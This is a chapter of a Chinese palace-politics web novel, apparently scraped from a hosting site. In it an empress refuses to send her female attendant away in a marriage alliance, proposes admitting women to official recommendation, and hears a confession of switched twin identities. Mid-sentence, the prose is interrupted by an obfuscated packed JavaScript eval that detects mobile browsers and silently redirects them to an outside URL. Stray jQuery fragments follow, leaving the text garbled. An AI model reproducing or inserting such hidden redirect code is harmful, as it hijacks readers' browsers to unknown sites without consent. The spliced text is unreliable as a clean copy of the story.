24.余心所善(四)

作品:《为政

    这场宴席结束得很早。


    李韫欢从芳林园出来,没多久就见前面引路的小黄门回来秉,说段将军在前面求见。


    她对此并不意外,挥退众人,独自走上前去。


    段屏注意到她过来,行过一礼,开门见山,“敢问陛下此举何意?”


    她没有直接回应,只说,“段将军既然等在这里,想是心中已有定论。”


    “段某一介粗人,只知打仗,此番进京述职,本也是想速战速决,待北然之事商议妥当,再回边关戍守。”


    上次段屏进京,随行押送北然王子一行,按照惯例,交由朝中商议如何与北然谈判,其余人回原地戍守,这样算来,段屏留在京中的时间大概不过一个月。


    但这一次,霍执没有给段屏发调令,只让吏部告知他暂留京中,另有要事安排。


    没想到,这一等,就等到现在。


    段屏跟着又道,“如今崔侍中请辞,门下省想必已定好新侍中,臣只是个莽夫,弄不懂朝中事,恳请陛下允准,让臣回到边境,紧盯北然的一举一动。”


    “边境战事瞬息万变,的确更需要段将军。”李韫欢点点头,重新打量起段屏。


    今日因是来赴宴,段屏穿的是朝服,朝服衣袖宽大,将他整个笼住,看上去像是收剑的鞘。


    “不过,”她话锋跟着一转,“如今局势,想来段将军也看得清楚,而段将军进京数月,却并不接任何一家伸出的高枝,可见段将军是个心性坚韧之人,不屑攀附关系,所以,这也是我看中段将军的原因。”


    段屏听到这话,笑出一声,“陛下这话听上去,倒像是在拉拢段某了。”


    “拉拢?”李韫欢想了想,换了个问题问他,“段氏戍守边境,为的是什么?”


    “自是忠君,为天子守护疆土。”


    “既是忠君,何谈拉拢?”


    段屏因这话忽地止住声音,良久,他朝着李韫欢,恭恭敬敬行了一礼,“臣自诩清流,却辜负圣意,愧对陛下。自今日起,段氏一门誓死效忠陛下,决不让宵小乱我大楚社稷。”


    那天之后不久,段屏接到调令,返回北境。


    与他同一日离京的还有已经请辞回乡的崔侍中。


    夏日清晨,暑气还不算盛,日头早早的升在天边,两拨人马先后走出都城,各自踏上归路,身影在热浪蒸腾里摇晃,有一瞬间竟让人恍惚觉得,是旧的时代正被新的时代踩踏。


    李韫欢率百官相送,直至两拨人马的影子已经看不见了,才起驾回城。


    这日东堂议事,新任门下省侍中崔行文拿出一份文书,说是前任崔侍中留下的,他与同僚商议一番后,觉得是时候拿出来与众人再次商谈。


    是关于重新规划北然与大楚两国关系的。


    崔行文提议,大楚与北然开战期间,过于劳民伤财,如今北然已经落败,若还像之前一样在边境大兴兵戈,恐怕更影响民间休养生息,所以他建议同意北然的请求,两国联姻,由大楚选派一名公主,与北然王子同回北然,共同为两国换取长久和平。


    李韫欢听着这些话,心中嗤笑,这群人这些年一直都是这么一套说辞,战败了要和亲,打胜了竟还是要和亲。


    跟着往霍执的方向看去一眼,后者坦然朝她摇摇头,表示自己对此毫不知情。


    她见状,心中了然,随口道一句,“宫中并无合适人选,几位先帝也不曾留后,崔侍中这提议,我看还是搁置为好。”


    然而崔行文却早有准备,听她驳回,立即说道,“陛下不必忧心,前朝早有先例,与蛮夷和亲未必要选派真正的公主,大可从宫人之中选出几位适合的,只要大楚摆出的阵仗够大,北然只会欣喜,哪还有资格质疑?”


    “宫人?”


    “啊,陛下若是嫌宫人粗苯,也可从民间选出几名识文断字的女子,不过话说回来,臣倒是物色过一个合适人选,只看陛下舍不舍得割爱?”


    “是谁?”


    崔行文目光落在她身后的廖春识上,看着对今日情形早有准备,“素闻陛下身边的廖女官有咏絮才,才学、模样都是上等,况且廖女官跟在陛下身边日久,耳濡目染,自也沾染着天家威仪。今有如此为国分忧之事,想必廖女官也十分愿意的。崔某这话说得可对,廖女官?”


    最后一句话直接探起廖春识得态度来。


    崔行文的提议并非特例,前朝选宫人和亲,才学、容貌都是选拔的重中之重,如今有这样一个现成的人选,在场大部分人都暗自点头赞同。


    李韫欢将东堂内众人的反应大致扫过一圈。


    除了霍执事不关己般看向窗外,另有一人的反应也很耐人寻味,既不像赞同,也不像反对,只是将目光落在她这边,似是在等她的反应,再根据她的反应,给出自己的反应。


    这个人是郑拙。


    是了,廖春识是郑拙送到她身边的,回想这段时日看此人与廖氏姐妹的相处,倒是有趣得很。


    郑拙每次看廖春识,眼里除了故意表现出来的疏离,还有一点……愧。


    不像将身边相处日久之人当物件一般送出去的愧,倒像是因为做过什么事,心中备受煎熬,最后反复酿出的亏欠。


    这样想着,她不动声色看了一眼廖春识。


    在其他人都在看廖春识反应的时候,廖春识却是在看她。


    与那日她绕了大半个皇城接到廖春识时,看到的神情一样。


    是无悲无喜的一双眼,好像在看她,又好像透过她,在看其他的什么。


    同时也是倔强的一双眼,像即使被巨石压住也依然顽强顶出新芽,随便在什么地方都咬牙倾尽全力的活着。


    东堂内彻底静下来,崔行文的声音隐约还在堂内回荡。


    李韫欢气定神闲的端起茶盏浅啜一口,语气平常的对廖春识道,“来。”


    廖春识不解地看着她。


    她朝着砚台处示意,“墨太淡了,再磨一磨。”


    廖春识走到案旁,从墨盒内拣出一块朱砂,拢袖运腕,从容磨着墨。


    墨块与砚台摩擦的声音在安静的堂内愈发明显。


    崔行文没有听到预想中的答复,面色不善,“廖女官还不曾回过本官。”


    回答他的,是李韫欢平静里带着薄怒的声音,“她无须向尔等中的任何人回话。”


    崔行文脸上挂不住,语气跟着一沉,隐约带出警告的意味,“陛下,和亲之事,事关重大,不是儿戏。”


    有人轻笑一声,笑声很短,即使听到了也察觉不出是谁。


    廖春识磨墨的动作忽地一顿。


    李韫欢见状,只对廖春识说,“接着磨。”


    然后她在磨墨声里,向崔行文问了句闲语,“今年的察举名单将定,令郎也在名单之中,听闻令郎在大儒之间评价颇高,在这批学子中,令郎的文才都是顶尖。”


    听到关于儿子的话,崔行文脸色缓和了不少,“陛下谬赞,顶尖不敢妄言,不过是先生们赏识罢了。”


    “崔侍中过谦,名家大儒弟子无数,若非真才实学,如何担得起这些赞赏,可见崔侍中教子有方,大楚有崔侍中这般父子,是大楚之幸。不过,有件事,我想崔侍中应当是理解错了。”


    李韫欢笑了笑,在崔行文疑惑的目光里,说回之前的话题,“我朝子民血脉纯良,女子尤其金贵,更沾不得一丁点儿的污糟,故,女子绝不可去和亲。”


    她话锋一转,以眼神止住崔行文即将出口的反驳,眼中神色晦暗不明,“既然崔侍中膝下郎君已有才名,相貌又佳,不失我大楚风范,倒是最适合的人选。”


    听说要让自己儿子去和亲,崔行文憋不住了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15164491|163322||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    连忙大呼,“陛下,不可……不可啊!从古至今,哪有、哪有——”


    哪有男子去和亲的?成何体统?


    李韫欢语气仍是温和的,“大楚与蛮夷不同,更重血脉,女子怀胎十月,其中辛苦数不胜数,当然,如此皆是为保世代骨血延续,再辛苦也是值得的,至于令郎么……他是能保还是能生?”


    崔行文听得汗都下来了。


    这话太难听了,就差指着鼻子骂他儿子连个蛋都下不来要他有什么用了!


    “陛下……”


    “陛下,”郑拙忽然截过话头,对李韫欢说,“和亲之事并非一定要执行,如今大楚大败北然,让鸿胪寺多谈些对我方有利条件便是,至于其它,今日本就还有诸多议题,就不必再在同一件事上浪费时间了吧。”


    “的确,朕也正有此意,”李韫欢顺势换了话题,“如今这批察举名单,我已看过,照此名单安排就是,至于下一批察举——”


    “陛下可是有新的建议?”


    “大楚有才学者,并非只有男子,下批察举名单,让各州府选送些女子来。”


    “这……”


    大多数人都开始迟疑。


    “有何不可?”


    她这次看向霍执,见霍执依然是无心议论的样子,径直点了他的名,“太傅以为如何?”


    烫手的山芋直接奔着自己砸来,霍执低头浅笑一声,点点头,“臣以为,可。”


    他跟着提议,“如此也应把女学提上日程,世家之中不乏女师,她们当中有些人的学识可与当世大儒比肩,如此才学,的确不该埋没。”


    “太傅你——”


    有人不满,却又不好当着他的面反驳。


    “好,就依太傅所言,该如何推进,也请太傅多多费心。”李韫欢一锤定音。


    等所有事宜都有定论,天色也不早了,霍执没有停留,快步从东堂离去,其他人见他先走,相互对了个眼神,也纷纷跟上。


    李韫欢回到徽音殿,换过衣裳,歪在榻上闭目养神。


    忽听身前传来脚步声,接着一阵衣料窸窸窣窣声响起,跟着传来一声短促的闷响。


    睁眼就看到廖春识跪在脚边。


    “这是何意?”


    “陛下,”廖春识难得动容,再次拜伏下去,“廖氏女有罪,欺骗陛下,请陛下责罚。”


    她自称廖氏女,李韫欢扶着榻沿儿,微俯下身看她,“骗了我什么?”


    “我……并非廖春识。”


    廖春识咬咬牙,快速说着,“我的名字叫,廖春知。”


    廖春知、廖春识,一对从前一直伴在郑拙身侧充当军师的孪生姐妹。


    从廖春知的坦白里,李韫欢得知了被隐瞒至今的真相:


    当初她去见郑拙,讨要跟在郑拙身边的女军师是廖春识,可郑拙临送人时变卦,让廖春知顶替廖春识进宫,从此姐妹二人改换名字,让这个秘密止步在三人之间。


    “既是秘密,你为何忽然坦白?”


    廖春知低下头,“因为今日在东堂,陛下护我。”


    被改换名字顶替进宫,和改换身份去和亲,其实没有什么两样,总归她不再是她,无论去哪里,目标都是要完成那个任务。


    但今日是第一次,第一次有人为了她这个人,明确表示,不行。


    “就为这个?”李韫欢看着廖春知一直低着的头。


    “是。”


    “春知,”李韫欢念出廖春知的名字,“你能说出真相,我很高兴。”


    她赶在廖春知想要叩谢之前,接着说,“既然选择跟我,今后更要拿出自己全部的本事,为我、为天下做些事。至于今日的事么——”


    她扬眉,语气理所当然,“你是我的人,我若连你都护不了,将来还怎么护那些举孝廉出来的女郎?”